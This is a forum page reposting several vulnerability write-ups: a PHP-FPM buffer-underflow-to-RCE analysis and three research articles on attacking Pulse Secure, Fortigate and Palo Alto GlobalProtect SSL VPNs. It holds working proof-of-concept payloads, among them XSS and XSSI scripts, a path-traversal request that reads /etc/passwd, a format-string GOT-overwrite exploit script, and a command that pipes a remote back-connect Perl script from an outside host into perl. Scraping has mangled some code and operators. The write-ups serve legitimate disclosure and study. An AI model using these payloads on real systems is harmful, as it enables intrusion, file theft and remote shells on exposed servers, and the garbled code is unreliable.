  19. First of all, this is such a really interesting bug! From a small memory defect to code execution. It combines both binary and web technique so that’s why it interested me to trace into. This is just a simple analysis, you can also check the bug report and the author neex’s exploit to know the original story :D Originally, this write-up should be published earlier, but I am now traveling and don’t have enough time. Sorry for the delay :( The root cause PHP-FPM wrongly handles the PATH_INFO, which leads to a buffer underflow. Although it’s not vulnerable by default, there are still numerous vulnerable configurations that sysadmins would copy paste from Google and StackOverflow. When the fastcgi_split_path_info directive is parsing a URI with newline, the env_path_info becomes an empty value. And due to the cgi.fix_pathinfo, the empty value is used(fpm_main.c#L1151) to calculate the real path_info later. 12345678910111213int ptlen=strlen(pt);int slen=len - ptlen;int pilen=env_path_info ? strlen(env_path_info) : 0;int tflag=0;char *path_info;if (apache_was_here) { /* recall that PATH_INFO won't exist */path_info=script_path_translated + ptlen; tflag=(slen !=0 (!orig_path_info || strcmp(orig_path_info, path_info) !=0));} else { path_info=env_path_info ? env_path_info + piloten - slen : NULL; tflag=(orig_path_info !=path_info);}Please note that the pilot is zero and slen is the original URI length minus the real file-path length, so there is a buffer underflow. path_info can point to somewhere before it should be. The exploitation With this buffer underflow, we have a limited(and small) buffer access. What can we do? The author leverages the fpm_main.c#L1161 to do further actions. 1path_info[0]=0;As the path_info points ahead of PATH_INFO, we can write a single null-byte to the position before path_info. A. From null-byte writing to CGI environment overwritten OK, now we can write a single null-byte to somewhere before PATH_INFO, and then? In PHP-FPM, the CGI environments are stored in fcgi_data_seg structure, and managed by structure fcgi_hash. 12345678910111213typedef struct _fcgi_data_seg { char *pos; char *end; struct _fcgi_data_seg *next; char data[1];} fcgi_data_seg;typedef struct _fcgi_hash { fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE]; fcgi_hash_bucket *list; fcgi_hash_buckets *buckets; fcgi_data_seg *data;} fcgi_hash;The fcgi_data_seg in memory looks like: 1234567891011121314151617181920212223242526gdb-peda$ p *request.env.data$3={ pos=0x556578555537 '7UUxeU', end=0x5565785564d8 '', next=0x556578554490, data='P'}gdb-peda$ x/50s request.env.data.data0x5565785544a8: 'FCGI_ROLE'0x5565785544b23: 'RESPONDER'0x5565785544bc: 'SCRIPT_FILENAME'0x5565785544cc: '/var/www/html/test.php'0x5565785544e3: 'QUERY_STRING'0x5565785544f03: '0x5565785544f13: 'REQUEST_METHOD'0x556578554500: 'GET'.0x556578554656: 'SERVER_NAME'0x556578554662: '_'0x556578554664: 'REDIRECT_STATUS'0x556578554674: '200'0x556578554678: 'PATH_INFO'0x556578554682: '/', 'a' repeats 13 times, '.php' --- the `path_info` points to0x556578554695: 'HTTP_HOST'0x55657855469f3: '127.0.0.1'The structure member fcgi_data_seg-pos points to the current buffer - fcgi_data_seg-data to let PHP-FPM know where to write, and fcgi_data_seg-end points to the buffer end. If the buffer reaches the end(pos end). PHP-FPM creates a new buffer and moves the previous one to the structure member fcgi_data_seg-next. So, the idea is to make path_info points to the location of fcgi_data_seg-pos. Once we achieve that, we can abuse the CGI environment management! For example, here we adjust the path_info points to the fcgi_data_seg-pos. 12345678910111213141516171819202122232425262728293031323334gdb-peda$ frame#0 init_request_info () at /home/orange/php-src/sapi/fpm/fpm/fpm_main.c:11611161 path_info[0]=0;gdb-peda$ x/xg path_info0x5565785554c0:0x0000556578555537gdb-peda$ x/g request.env.data0x5565785554c0:0x0000556578555537gdb-peda$ p (fcgi_data_seg)*request.env.data$2={ pos=0x556578555537 '', end=0x5565785564d8 '', next=0x556578554490, data='P'}gdb-peda$ x/15s (char **)request.env.data.data0x5565785554d8: 'PATH_INFO'0x5565785554e23: ''0x5565785554e33: 'HTTP_HOST'0x5565785554ed: '127.0.0.1'0x5565785554f7: 'HTTP_ACCEPT_ENCODING'0x55657855550c: 'A' repeats 11 times0x556578555518: 'HTTP_LAYS'0x556578555522: 'NOGG'0x556578555527: 'ORIG_PATH_INFO'0x556578555536: ''0x556578555537: '' --- the original `request.env.data.pos`0x556578555538: ''0x5565785555393: ''0x55657855553a: ''0x55657855553b: ''This is the memory layout of request.env.data. Once the line path_info[0]=0; has been executed, the memory layout becomes: As the request.env.data.pos has been written, and changed to a new location: 12345678910111213141516171819202122gdb-peda$ next.gdb-peda$ p (fcgi_data_seg)*request.env.data$4={ pos=0x556578555500 'PT_ENCODING', end=0x55657855564d8 '', next=0x556578554490, data='P'}gdb-peda$ x/10s (char **)request.env.data.pos0x556578555500: 'PT_ENCODING'0x55657855550c: 'A' repeats 11 times0x556578555518: 'HTTP_LAYS'0x556578555522: 'NOGG'0x556578555527: 'ORIG_PATH_INFO'0x556578555536: ''0x556578555537: ''0x556578555538: ''0x5565785555393: ''0x55657855553a: ''As you can see, the request.env.data.pos is shifted to the middle of an environment variable. The next time PHP-FPM put a new CGI environment, it will overwrite the existing one. 12345678910111213141516171819202122232425262728293031323334353637383940#define FCGI_PUTENV(request, name, value) \ fcgi_quick_putenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1), value)char* fcgi_putenv(fcgi_request *req, char* var, int var_len, char* val){ if (!req) return NULL; if (val==NULL) { fcgi_hash_del(req-env, FCGI_HASH_FUNC(var, var_len), var, var_len); return NULL; } else { return fcgi_hash_set(req-env, FCGI_HASH_FUNC(var, var_len), var, var_len, val, (unsigned int)strlen(val)); }}static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len){ unsigned int idx=hash_value FCGI_HASH_TABLE_MASK; fcgi_hash_bucket *p=h-hash_table[idx]; //. p-var=fcgi_hash_strndup(h, var, var_len); p-val_len=val_len; p-val=fcgi_hash_strndup(h, val, val_len); return p-val;}static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len){ char *ret; //. ret=h-data-pos; --- we have corrupted the `pos` :D memcpy(ret, str, str_len); ret[str_len]=0; h-data-pos +=str_len + 1; return ret;}And it’s lucky, there is a FCGI_PUTENV right after the null-byte writing: 123456789101112old=path_info[0];path_info[0]=0;if (!orig_script_name || strcmp(orig_script_name, env_path_info) !=0) { if (orig_script_name) { FCGI_PUTENV(request, 'ORIG_SCRIPT_NAME', orig_script_name); --- here } SG(request_info).request_uri=FCGI_PUTENV(request, 'SCRIPT_NAME', env_path_info);} else { SG(request_info).request_uri=orig_script_name;}path_info[0]=old;It puts the name ORIG_SCRIPT_NAME and our controllerable value into the CGI environments so that we can overwrite some important environments! …and then? B. From CGI environment overwritten to Remote Code Execution Now we can overwrite environments, how to turn it into the RCE? After the null-byte writing, the PHP-FPM retrieves the environment PHP_VALUE to initial the PHP stuff. So that’s our target! However, although we can overwrite the environment data. To forge the PHP_VALUE is still not easy. We can not just overwrite the existing environments key to PHP_VALUE and profit. After checking the source, we found the problem is PHP-FPM uses a hash table to manage environments. Without corrupting the table, we can’t insert a new environment! PHP-FPM stores each environment variable in structure fcgi_hash_bucket. 123456789typedef struct _fcgi_hash_bucket { unsigned int hash_value; unsigned int var_len; char *var; unsigned int val_len; char *val; struct _fcgi_hash_bucket *next; struct _fcgi_hash_bucket *list_next;} fcgi_hash_bucket;There are also some checks before PHP-FPM retrieve the environment variable: 1234567891011121314151617static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len){ unsigned int idx=hash_value FCGI_HASH_TABLE_MASK; fcgi_hash_bucket *p=h-hash_table[idx]; while (p !=NULL) { if (p-hash_value==hash_value p-var_len==var_len memcmp(p-var, var, var_len)==0) { *val_len=p-val_len; return p-val; } p=p-next; } return NULL;}PHP-FPM first retrieves the environment structure from the hash table, and then check the hash_value, var_len and content. We can forge the content, but how to forge the hash_value and var_len? OK, let’s do it! The hash algorithm in PHP-FPM is simple. 123456#define FCGI_HASH_FUNC(var, var_len) \ (UNEXPECTED(var_len 3) ? (unsigned int)var_len : \ (((unsigned int)var[3]) 2) + \
  20. Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_) Hi, this is the last part of Attacking SSL VPN series. If you haven’t read previous articles yet, here are the quick links for you: Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study! Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN After we published our research at Black Hat, due to its great severity and huge impacts, it got lots of attention and discussions. Many people desire first-hand news and wonder when the exploit(especially the Pulse Secure preAuth one) will be released. We also discussed this internally. Actually, we could simply drop the whole exploits without any concern and acquire plenty of media exposures. However, as a SECURITY firm, our responsibility is to make the world more secure. So we decided to postpone the public disclosure to give the world more time to apply the patches! Unfortunately, the exploits were revealed by someone else. They can be easily found on GitHub[1] [2] [3] and exploit-db[1]. Honestly, we couldn’t say they are wrong, because the bugs are absolutely fixed several months ago, and they spend their time differenting/reversing/reproducing. But it’s indeed a worth discussing question to the security community: if you have a nuclear level weapon, when is it ready for public disclosure? We hear about more than 25 bug bounty programs are exploited. From the statistics of Bad Packet, numerous Fortune 500, U.S. military, governments, financial institutions and universities are also affected by this. There are even 10 NASA servers exposed for this bug. So, these premature public discovers indeed force these entities to upgrade their SSL VPN, this is the good part. On the other hand, the bad part is that there is an increasing number of botnets scanning the Internet in the meanwhile. An intelligence also points out that there is already a China APT group exploiting this bug. This is such an Internet disaster. Apparently, the world is not ready yet. So, if you haven’t updated your Palo Alto, Fortinet or Pulse Secure SSL VPN, please update it ASAP! About Pulse Secure Pulse Secure is the market leader of SSL VPN which provides professional secure access solutions for Hybrid IT. Pulse Secure has been in our research queue for a long time because it was a critical infrastructure of Google, which is one of our long-term targets. However, Google applies the Zero Trust security model, and therefore the VPN is removed now. We started to review Pulse Secure in mid-December last year. In the first 2 months, we got nothing. Pulse Secure has a good coding style and security awareness so that it’s hard to find trivial bugs. Here is an interesting comparison, we found the arbitrary file reading CVE-2018-13379 on FortiGate SSL VPN on our first research day… Pulse Secure is also a Perl lover, and writes lots of Perl extensions in C++. The interaction between Perl and C++ is also confusing to us, but we got more familiar with it while we paid more time digging in it. Finally, we got the first blood onMarch 8, 2019! It’s a stack-based overflow on the management interface! Although this bug isn’t that useful, our research progress got on track since that, and we uncovered more and more bugs. We reported all of our finding to Pulse Secure PSIRT onMarch 22, 2019. Their response is very quick and they take these vulnerabilities seriously! After several conference calls with Pulse Secure,they fixed all bugs just within a month, and released the patches onApril 24, 2019. You can check the detailed security advice! It’s a great time to work with Pulse Secure. From our perspective, Pulse Secure is the most responsible vendor among all SSL VPN vendors we have reported bugs to! Vulnerabilities We have found 7 vulnerabilities in total. Here is the list. We will introduce each one but focus on the CVE-2019-11510 and CVE-2019-11539 more. CVE-2019-11510 - Pre-auth Arbitrary File Reading CVE-2019-11542 - Post-auth(admin) Stack Buffer Overflow CVE-2019-11539 - Post-auth(admin) Command Injection CVE-2019-11538 - Post-auth(user) Arbitrary File Reading via NFS CVE-2019-11508 - Post-auth(user) Arbitrary File Writing via NFS CVE-2019-11540 - Post-auth Cross-Site Script Inclusion CVE-2019-11507 - Post-auth Cross-Site Scripting And here are affected versions: Pulse Connect Secure 9.0R1 - 9.0R3.3 Pulse Connect Secure 8.3R1 - 8.3R7 Pulse Connect Secure 8.2R1 - 8.2R12 Pulse Connect Secure 8.1R1 - 8.1R15 Pulse Policy Secure 9.0R1 - 9.0R3.3 Pulse Policy Secure 5.4R1 - 5.4R7 Pulse Policy Secure 5.3R1 - 5.3R12 Pulse Policy Secure 5.2R1 - 5.2R12 Pulse Policy Secure 5.1R1 - 5.1R15 CVE-2019-11540: Cross-Site Script Inclusion The script /dana/cs/cs.cgi renders the session ID in JavaScript. As the content-type is set to application/x-javascript, we could perform the XSSI attack to steal the DSID cookie! Even worse, the CSRF protection in Pulse Secure SSL VPN is based on the DSID. With this XSSI, we can bypass all the CSRF protection! PoC: 1234567891011!-- http://attacker/malicious.html --script src='https://sslvpn/dana/cs/cs.cgi?action=appletobj'/scriptscript window.onload=function() { window.document.writeln=function (msg) { if (msg.indexOf('DSID')=0) alert(msg) } ReplaceContent() }/script CVE-2019-11507: Cross-Site Scripting There is a CRLF Injection in /dana/home/cts_get_ica.cgi. Due to the injection, we can forge arbitrary HTTP headers and inject malicious HTML contents. PoC: 1234https://sslvpn/dana/home/cts_get_ica.cgi?bm_id=xvdi=1appname=aa%0d%0aContent-Type:text/html%0d%0aContent-Disposition:inline%0d%0aaa:bbsvg/onload=alert(document.domain) CVE-2019-11538: Post-auth(user) Arbitrary File Reading via NFS The following two vulnerabilities (CVE-2019-11538 and CVE-2019-11508) do not affect default configurations. It appears only if the admin configures the NFS sharing for the VPN users. If an attacker can control any files on remote NFS server, he can just create a symbolic link to any file, such as /etc/passwd, and read it from web interface. The root cause is that the implementation of NFS mounts the remote server as a real Linux directory, and the script /dana/fb/nfs/nfb.cgi does not check whether the accessed file is a symlink or not! CVE-2019-11508: Post-auth(user) Arbitrary File Writing via NFS This one is a little bit similar to the previous one, but with a different attack vector! When the attacker uploads a ZIP file to the NFS through the web interface, the script /dana/fb/nfs/nu.cgi does not sanitize the filename in the ZIP. Therefore, an attacker can build a malicious ZIP file and traverse the path with ./in the filename! Once Pulse Secure decompresses, the attacker can upload whatever he wants to whatever path! CVE-2019-11542: Post-auth(admin) Stack Buffer Overflow There is a stack-based buffer overflow in the following Perl module implementations: DSHC:ConsiderForReporting DSHC:isSendReasonStringEnabled DSHC:getRemedCustomInstructions These implementations use sprintf to concatenate strings without any length check, which leads to the buffer overflow. The bug can be triggered in many places, but here we use /dana-admin/auth/hc.cgi as our PoC. 123https://sslvpn/dana-admin/auth/hc.cgi?platform=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApolicyid=0And you can observed the segment fault from dmesg 1cgi-server[22950]: segfault at 61616161 ip 00000000002a80afd sp 0000000ff9a4d50 error 4 in DSHC.so[2a2f000+87000] CVE-2019-11510: Pre-auth Arbitrary File Reading Actually, this is the most severe bug in this time. It is in the web server implementation. As our slides mentioned, Pulse Secure implements their own web server and architecture stack from scratch. The original path validation is very strict. However, since version 8.2, Pulse Secure introduced a new feature called HTML5 Access, it’s a feature used to interact with Telnet, SSH, and RDP by browsers. Thanks to this new feature, the original path validation becomes loose. In order to handle the static resources, Pulse Secure created a new IF-CONDITION to widen the originally strict path validation. The code wrongly uses the request-uri and request-filepath, so that we can specify the /dana/html5acc/guacamole/in the end of the query string to bypass the validation and make request-filepath to any file you want to download! And it’s worth to mention that in order to read arbitrary files, you must to specify the /dana/html5acc/guacamole/in the middle of the path again. Otherwise, you can only download limited file extensions such as .json,xml or .html. Due to the exploit is in the wild, there is no longer any concern to show the payload: 1234import requestsr=requests.get('https://sslvpn/dana-na/./dana/html5acc/guacamole/./././././././etc/passwd?/dana/html5acc/guacamole/')print r.content CVE-2019-11539: Post-auth(admin) Command Injection The last one is a command injection on the management interface. We found this vulnerability very early, but could not find a way to exploit it at first. While we were in Vegas, one of my friends told m
  21. Author: Meh Chang(@mehqq_) and Orange Tsai(@orange_8361) Last month, we talked about Palo Alto Networks GlobalProtect RCE as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you! Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs We will also give a speech at the following conferences, just come and find us! HITCON - Aug. 23 @ Taipei (Chinese) HITB GSEC - Aug. 29,30 @ Singapore RomHack - Sep. 28 @ Rome and more… Let’s start! The story began in last August, when we started a new research project on SSL VPN. Compare to the site-to-site VPN such as the IPSEC and PPTP, SSL VPN is more easy to use and compatible with any network environments. For its convenience, SSL VPN becomes the most popular remote access way for enterprise! However, what if this trusted equipment is insecure? It is an important corporate asset but a blind spot of corporation. According to our survey on Fortune 500, the Top-3 SSL VPN vendors dominate about 75% market share. The diversity of SSL VPN is narrow. Therefore, once we find a critical vulnerability on the leading SSL VPN, the impact is huge. There is no way to stop us because SSL VPN must be exposed to the internet. At the beginning of our research, we made a little survey on the CVE amount of leading SSL VPN vendors: It seems like Fortinet and Pulse Secure are the most secure ones. Is that true? As a myth buster, we took on this challenge and started hacking Fortinet and Pulse Secure! This story is about hackingFortigate SSL VPN. The next article is going to be aboutPulse Secure, which is the most splendid one! Stay tuned! Fortigate SSL VPN Fortinet calls their SSL VPN product line as Fortigate SSL VPN, which is prevalent among end users and medium-sized enterprise. There are more than 480k servers operating on the internet and is common in Asia and Europe. We can identify it from the URL /remote/login. Here is the technical feature of Fortigate: All-in-one binary We started our research from the file system. We tried to list the binaries in /bin/and found there are all symbolic links, pointing to /bin/init. Just like this: Fortigate compiles all the programs and configurations into a single binary, which makes the init really huge. It contains thousands of functions and there is no symbol! It only contains necessary programs for the SSL VPN, so the environment is really inconvenient for hackers. For example, there is even no /bin/ls or /bin/cat! Web daemon There are 2 web interfaces running on the Fortigate. One is for the admin interface, handled with /bin/httpsd on the port 443. The other is normal user interface, handled with /bin/sslvpnd on the port 4433 by default. Generally, the admin page should be restricted from the internet, so we can only access the user interface. Through our investigation, we found the web server is modified from apache, but it is the apache from 2002. Apparently they modified apache in 2002 and added their own additional functionality. We can map the source code of apache to speed up our analysis. In both web service, they also compiled their own apache modules into the binary to handle each URL path. We can find a table specifying the handlers and dig into them! WebVPN WebVPN is a convenient proxy feature which allows us connect to all the services simply through a browser. It supports many protocols, like HTTP, FTP, RDP. It can also handle various web resources, such as WebSocket and Flash. To process a website correctly, it parses the HTML and rewrites all the URLs for us. This involves heavy string operation, which is prone to memory bugs. Vulnerabilities We found several vulnerabilities: CVE-2018-13379: Pre-auth arbitrary file reading While fetching corresponding language file, it builds the json file path with the parameter lang: 1snprintf(s,0x40, '/migadmin/lang/%s.json', lang);There is no protection, but a file extension appended automatically. It seems like we can only read json file. However, actually we can abuse the feature of snprintf. According to the man page, it writesat most size-1into the output string. Therefore, we only need to make it exceed the buffer size and the .json will be stripped. Then we can read whatever we want. CVE-2018-13380: Pre-auth XSS There are several XSS: 1/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E1/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e291/message?title=xmsg=%26%23svg/onload=alert(1); CVE-2018-13381: Pre-auth heap overflow While encoding HTML entities code, there are 2 stages. The server first calculate the required buffer length for encoded string. Then it encode into the buffer. In the calculation stage, for example, encode string for is 5 bytes. If it encounter anything starts with #, such as #60; it consider there is a token already encoded, and count its length directly. Like this: 12345c=token[idx];if (c=='(' || c==')' || c=='#' || c=='' || c=='') cnt +=5;else if(c=='' html[idx+1]=='#') cnt +=len(strchr(html[idx], ';')-idx);However, there is an inconsistency between length calculation and encoding process. The encode part does not handle that much. 12345678910111213switch (c){ case '': memcpy(buf[counter], '#60;', 5); counter +=4; break; case '': //. default: buf[counter]=c; break; counter++;}If we input a malicious string like #; the is still encoded into #60; so the result should be #60;#60; This is much longer than the expected length 6 bytes, so it leads to a heap overflow. PoC: 1234567import requestsdata={ 'title': 'x', 'msg': '#' + ''*(0x20000) + ';', }r=requests.post('https://sslvpn:4433/message', data=data) CVE-2018-13382: The magic backdoor In the login page, we found a special parameter called magic. Once the parameter meets a hardcoded string, we can modify any user’s password. According to our survey, there are still plenty of Fortigate SSL VPN lack of patch. Therefore, considering its severity, we will not disclose the magic string. However, this vulnerability has been reproduced by the researcher from CodeWhite. It is surely that other attackers will exploit this vulnerability soon! Please update your Fortigate ASAP! Critical vulns in #FortiOS reversed exploited by our colleagues @niph_ and @ramoliks - patch your #FortiOS asap and see the #bh2019 talk of @orange_8361 and @mehqq_ for details (tnx guys for the teaser that got us started) pic.twitter.com/TLLEbXKnJ4 — CODE WHITE GmbH (@codewhitesec) July 2, 2019 CVE-2018-13383: Post-auth heap overflow This is a vulnerability on the WebVPN feature. While parsing JavaScript in the HTML, it tries to copy content into a buffer with the following code: 1memcpy(buffer, js_buf, js_buf_len);The buffer size is fixed to0x2000, but the input string is unlimited. Therefore, here is a heap overflow. It is worth to note that this vulnerability can overflow Null byte, which is useful in our exploration. To trigger this overflow, we need to put our exploit on an HTTP server, and then ask the SSL VPN to proxy our exploit as a normal user. Exploitation The official advice described no RCE risk at first. Actually, it was a misunderstanding. We will show you how to exploit from the user login interface without authentication. CVE-2018-13381 Our first attempt is exploiting the pre-auth heap overflow. However, there is a fundamental defect of this vulnerability – It does not overflow Null bytes. In general, this is not a serious problem. The heap exploitation techniques nowadays should overcome this. However, we found it a disaster doing heap feng shui on Fortigate. There are several obstacles, making the heap unstable and hard to be controlled. Single thread, single process, single allocator The web daemon handles multiple connection with epoll(), no multi-process or multi-thread, and the main process and libraries use the same heap, called JeMalloc. It means, all the memory allocations from all the operations of all the connections are on the same heap. Therefore, the heap is really messy. Operations regularly triggered This interferes the heap but is uncontrollable. We cannot arrange the heap carefully because it would be destroyed. Apache additional memory management. The memory won’t be free() until the connection ends. We cannot arrange the heap in a single connection. Actually this can be an effective mitigation for heap vulnerabilities especially for use-after-free. JeMalloc JeMalloc isolates meta data and user data, so it is hard to modify meta data and play with the heap management. Moreover, it centralizes small objects, which also limits our exploit. We were stuck here, and then we chose to try another way. If anyone exploits this successfully, please teach us! CVE-2018-13379 + CVE-2018-13383 This
  22. Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_) SSL VPNs protect corporate assets from Internet exposure, but what if SSL VPNs themselves are vulnerable? They’re exposed to the Internet, trusted to reliably guard the only way to your intranet. Once the SSL VPN server is compromised, attackers can infiltrate your intranet and even take over all users connecting to the SSL VPN server! Due to its importance, in the past several months, we started a new research on the security of leading SSL VPN products. We plan to publish our results on 3 articles. We put this as the first one because we think this is an interesting story and is very suitable as an appetizer of our Black Hat USA and DEFCON talk: Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs! Don’t worry about the spoilers, this story is not included in our BHUSA/DEFCON talks. In our incoming presentations, we will provide more hard-core exploitations and crazy bugs chains to hack into your SSL VPN. From how we jailbreak the appliance and what attack vectors we are focusing on. We will also demonstrate gaining root shell from the only exposed HTTPS port, covertly welding the server against their owner, and abusing a hidden feature to take over all VPN clients! So please look forward to it ;) The story In this article, we would like to talk about the vulnerability on Palo Alto SSL VPN. Palo Alto calls their SSL VPN product line as GlobalProtect. You can easily identify the GlobalPortect service via the 302 redirection to /global-protect/login.esp on web root! About the vulnerability, we accidentally discovered it during our Red Team assessment services. At first, we thought this is a 0day. However, we failed reproducing on the remote server which is the latest version of GlobalProtect. So we began to suspect if this is a known vulnerability. We searched all over the Internet, but we could not find anything. There is no public RCE exploit before[1], no official advice contains anything similar and no CVE. So we believe this must be a silent-fix 1-day! [1] There are some exploit about the Pan-OS management interface before such as the CVE-2017-15944 and the excellent Troppers16 paper by @_fel1x, but unfortunately, they are not talking about the GlobalProtect and the management interface is only exposed to the LAN port The bug The bug is very straightforward. It is just a simple format string vulnerability with no authentication required! The sslmgr is the SSL gateway handling the SSL handshake between the server and clients. The daemon is exposed by the Nginx reverse proxy and can be touched via the path /sslmgr. 123456$ curl https://global-protect/sslmgr?xml version='1.0' encoding='UTF-8' ? clientcert-response statuserror/status msgInvalid parameters/msg /clientcert-responseDuring the parameter extraction, the daemon searches the string scep-profile-name and pass its value as the snprintf format to fill in the buffer. That leads to the format string attack. You can just crash the service with %n! 123456POST /sslmgr HTTP/1.1Host: global-protectContent-Length: 36scep-profile-name=%n%n%n%n%n%n%n. Affect versions According to our survey, all the GlobalProtect before July 2018 are vulnerable! Here is the affect version list: Palo Alto GlobalProtect SSL VPN 7.1.x 7.1.19 Palo Alto GlobalProtect SSL VPN 8.0.x 8.0.12 Palo Alto GlobalProtect SSL VPN 8.1.x 8.1.3 The series 9.x and 7.0.x are not affected by this vulnerability. How to verify the bug Although we know where the bug is, to verify the vulnerability is still not easy. There is no output for this format string so that we can’t obtain any address-leak to verify the bug. And to crash the service is never our first choice[1]. In order to avoid crashes, we need to find a way to verify the vulnerability efficiently! By reading the snprintf manual, we choose the %c as our gadget! When there is a number before the format, such as %9999999c, the snprintf repeats the corresponding times internally. We observe the response time of large repeat number to verify this vulnerability! 123456789101112$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr /dev/nullreal 0m1.721suser 0m0.037ssys 0m0.005s$ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr /dev/nullreal 0m2.051suser 0m0.035ssys 0m0.012s$ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr /dev/nullreal 0m5.324suser 0m0.021ssys 0m0.018sAs you can see, the response time increases along with the number of %c. So, from the time difference, we can identify the vulnerable SSL VPN efficiently! [1] Although there is a watchdog monitoring the sslmgr daemon, it’s still improper to crash a service! The exploitation Once we can verify the bug, the exploitation is easy. To exploit the binary successfully, we need to determine the detail version first. We can distinguish by the Last-Modified header, such as the /global-protect/portal/css/login.css from 8.x version and the /images/logo_pan_158.gif from 7.x version! 12$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-ModifiedLast-Modified: Sun, 10 Sep 2017 16:48:23 GMTWith a specified version, we can write our own exploit now. We simply modified the pointer of strlen on the Global Offset Table(GOT) to the Procedure Linkage Table(PLT) of system. Here is the PoC: 123456789101112131415161718192021222324252627282930#!/usr/bin/pythonimport requestsfrom pwn import *url='https://sslvpn/sslmgr'cmd='echo pwned /var/appweb/sslvpndocs/hacked.txt'strlen_GOT=0x667788 # change mesystem_plt=0x445566 # change mefmt='%70$n'fmt +='%' + str((system_plt16)0xff) + 'c'fmt +='%32$hn'fmt +='%' + str((system_plt0xffff)-((system_plt16)0xff)) + 'c'fmt +='%24$hn'for i in range(40,60): fmt +='%'+str(i)+'$p'data='scep-profile-name='data +=p32(strlen_GOT)[:-1]data +='appauthcookie='data +=p32(strlen_GOT+2)[:-1]data +='host-id='data +=p32(strlen_GOT+4)[:-1]data +='user-email='data +=fmtdata +='appauthcookie='data +=cmdr=requests.post(url, data=data)Once the modification is done, the sslmgr becomes our webshell and we can execute commands via: 1$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgrWe have reported this bug to Palo Alto via the report form. However, we got the following reply: Hello Orange, Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know. Kind regards Hmmmm, so it seems this vulnerability is known for Palo Alto, but not ready for the world! The case study After we recognized this is not a 0day, we surveyed all Palo Alto SSL VPN over the world to see if there is any large corporations using the vulnerable GlobalProtect, and Uber is one of them! From our survey, Uber owns about 22 servers running the GlobalProtect around the world, here we take vpn.awscorp.uberinternal.com as an example! From the domain name, we guess Uber uses the BYOL from AWS Marketplace. From the login page, it seems Uber uses the 8.x version, and we can target the possible target version from the supported version list on the Marketplace overview page: 8.0.3 8.0.6 8.0.8 8.0.9 8.1.0 Finally, we figured out the version, it’s 8.0.6 and we got the shell back! Uber took a very quick response and right step to fix the vulnerability and Uber gave us a detailed explanation to the bounty decision: Hey @orange — we wanted to provide a little more context on the decision for this bounty. During our internal investigation, we found that the Palo Alto SSL VPN is not the same as the primary VPN which is used by the majority of our employees. Additionally, we hosted the Palo Alto SSL VPN in AWS as opposed to our core infrastructure; as such, this would not have been able to access any of our internal infrastructure or core services. For these reasons, we determined that while it was an unauthenticated RCE, the overall impact and positional advantage of this was low. Thanks again for an awesome report! It’s a fair decision. It’s always a great time communicating with Uber and report to their bug bounty program. We don’t care about the bounty that much, because we enjoy the whole research process and feeding back to the security community! Nothing can be better than this!

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.